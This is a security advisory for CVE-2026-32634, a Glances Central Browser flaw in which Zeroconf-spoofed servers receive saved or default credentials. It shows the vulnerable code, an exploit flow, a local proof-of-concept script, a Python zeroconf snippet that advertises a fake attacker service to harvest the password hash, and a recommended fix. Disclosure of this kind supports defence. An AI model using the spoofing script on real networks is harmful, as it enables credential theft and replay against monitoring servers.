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8.1

Glances Central Browser Leaks Credentials to Fake Servers on Local Network

GHSA-vx5f-957p-qpvm CVE-2026-32634
Summary

Glances, a server monitoring tool, has a security issue that allows an attacker on the same local network to steal login credentials. This happens when an attacker tricks the tool into thinking a fake Glances server is present, causing the tool to send its login secret to the attacker's server. To protect yourself, ensure you're using the latest version of Glances and be cautious when using it in Central Browser mode on a shared network.

What to do
  • Update glances to version 4.5.2.
Affected software
VendorProductAffected versionsFix available
– glances <= 4.5.2 4.5.2
Original title
Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers
Original description
## Summary

In Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.

An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.

## Details

Dynamic server discovery keeps both a short `name` and a separate `ip`:

```python
# glances/servers_list_dynamic.py:56-61
def add_server(self, name, ip, port, protocol='rpc'):
new_server = {
'key': name,
'name': name.split(':')[0], # Short name
'ip': ip, # IP address seen by the client
'port': port,
...
'type': 'DYNAMIC',
}
```

The Zeroconf listener populates those fields directly from the service advertisement:

```python
# glances/servers_list_dynamic.py:112-121
new_server_ip = socket.inet_ntoa(address)
new_server_port = info.port
...
self.servers.add_server(
srv_name,
new_server_ip,
new_server_port,
protocol=new_server_protocol,
)
```

However, the Central Browser connection logic ignores `server['ip']` and instead uses the untrusted advertised `server['name']` for both password lookup and the destination URI:

```python
# glances/servers_list.py:119-130
def get_uri(self, server):
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self.password.get_password(server['name'])
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
uri = 'http://{}:{}@{}:{}'.format(
server['username'],
server['password'],
server['name'],
server['port'],
)
else:
uri = 'http://{}:{}'.format(server['name'], server['port'])
return uri
```

That URI is used automatically by the background polling thread:

```python
# glances/servers_list.py:141-143
def __update_stats(self, server):
server['uri'] = self.get_uri(server)
```

The password lookup itself falls back to the global default password when there is no exact match:

```python
# glances/password_list.py:45-58
def get_password(self, host=None):
...
try:
return self._password_dict[host]
except (KeyError, TypeError):
try:
return self._password_dict['default']
except (KeyError, TypeError):
return None
```

The sample configuration explicitly supports that `default` credential reuse:

```ini
# conf/glances.conf:656-663
[passwords]
# Define the passwords list related to the [serverlist] section
# ...
#default=defaultpassword
```

The secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:

```python
# glances/password.py:72-74,94
# For Glances client, get the password (confirm=False, clear=True):
# 2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit
password = password_hash
```

```python
# glances/client.py:55-57
if args.password != "":
self.uri = f'http://{args.username}:{args.password}@{args.client}:{args.port}'
```

There is an inconsistent trust boundary in the interactive browser code as well:

- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server['name']`
- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server['name'])`
- `glances/client_browser.py:76` uses `server['ip']` for the RPC client connection

That asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.

### Exploit Flow

1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).
2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.
3. Glances stores the discovered server as `{'name': <advertised-name>, 'ip': <discovered-ip>, ...}`.
4. The background stats refresh calls `get_uri(server)`.
5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@<advertised-name>:<port>`.
6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.

## PoC

### Step 1: Verified local logic proof

The following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:

- password lookup happens against `server['name']`, not `server['ip']`
- the generated credential-bearing URI uses `server['name']`, not `server['ip']`

```bash
cd D:\bugcrowd\glances\repo
@'
import importlib.util
import sys
import types
from pathlib import Path

pkg = types.ModuleType('glances')
pkg.__apiversion__ = '4'
sys.modules['glances'] = pkg

client_mod = types.ModuleType('glances.client')
class GlancesClientTransport: pass
client_mod.GlancesClientTransport = GlancesClientTransport
sys.modules['glances.client'] = client_mod

globals_mod = types.ModuleType('glances.globals')
globals_mod.json_loads = lambda x: x
sys.modules['glances.globals'] = globals_mod

logger_mod = types.ModuleType('glances.logger')
logger_mod.logger = types.SimpleNamespace(
debug=lambda *a, **k: None,
warning=lambda *a, **k: None,
info=lambda *a, **k: None,
error=lambda *a, **k: None,
)
sys.modules['glances.logger'] = logger_mod

password_list_mod = types.ModuleType('glances.password_list')
class GlancesPasswordList: pass
password_list_mod.GlancesPasswordList = GlancesPasswordList
sys.modules['glances.password_list'] = password_list_mod

dynamic_mod = types.ModuleType('glances.servers_list_dynamic')
class GlancesAutoDiscoverServer: pass
dynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer
sys.modules['glances.servers_list_dynamic'] = dynamic_mod

static_mod = types.ModuleType('glances.servers_list_static')
class GlancesStaticServer: pass
static_mod.GlancesStaticServer = GlancesStaticServer
sys.modules['glances.servers_list_static'] = static_mod

spec = importlib.util.spec_from_file_location('tested_servers_list', Path('glances/servers_list.py'))
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)
GlancesServersList = mod.GlancesServersList

class FakePassword:
def get_password(self, host=None):
print(f'lookup:{host}')
return 'defaultpassword'
def get_hash(self, password):
return f'hash({password})'

sl = GlancesServersList.__new__(GlancesServersList)
sl.password = FakePassword()
server = {
'name': 'trusted-host',
'ip': '203.0.113.77',
'port': 61209,
'username': 'glances',
'password': None,
'status': 'PROTECTED',
'type': 'DYNAMIC',
}

print(sl.get_uri(server))
print(server)
'@ | python -
```

Verified output:

```text
lookup:trusted-host
http://glances:hash(defaultpassword)@trusted-host:61209
{'name': 'trusted-host', 'ip': '203.0.113.77', 'port': 61209, 'username': 'glances', 'password': 'hash(defaultpassword)', 'status': 'PROTECTED', 'type': 'DYNAMIC'}
```

This confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.

### Step 2: Live network reproduction

1. Configure a reusable browser password:

```ini
# glances.conf
[passwords]
default=SuperSecretBrowserPassword
```

2. Start Glances in Central Browser mode on the victim machine:

```bash
glances --browser -C ./glances.conf
```

3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:

```python
from zeroconf import ServiceInfo, Zeroconf
import socket
import time

zc = Zeroconf()
info = ServiceInfo(
"_glances._tcp.local.",
"198.51.100.50:61209._glances._tcp.local.",
addresses=[socket.inet_aton("198.51.100.50")],
port=61209,
properties={b"protocol": b"rpc"},
server="ignored.local.",
)
zc.register_service(info)
time.sleep(600)
```

4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:

```text
http://glances:<pbkdf2_hash_of_default_password>@198.51.100.50:61209
```

5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.

## Impact

- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.
- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.
- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.
- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.
- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.

## Recommended Fix

Use the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.

```python
# glances/servers_list.py

def _get_connect_host(self, server):
if server.get('type') == 'DYNAMIC':
return server['ip']
return server['name']

def _get_preconfigured_password(self, server):
# Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds
if server.get('type') == 'DYNAMIC':
return None
return self.password.get_password(server['name'])

def get_uri(self, server):
host = self._get_connect_host(server)
if server['password'] != "":
if server['status'] == 'PROTECTED':
clear_password = self._get_preconfigured_password(server)
if clear_password is not None:
server['password'] = self.password.get_hash(clear_password)
return 'http://{}:{}@{}:{}'.format(server['username'], server['password'], host, server['port'])
return 'http://{}:{}'.format(host, server['port'])
```

And use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server['name'])` directly.
ghsa CVSS3.1 8.1
Vulnerability type
CWE-346
CWE-522 Insufficiently Protected Credentials
Published: 16 Mar 2026 · Updated: 16 Mar 2026 · First seen: 16 Mar 2026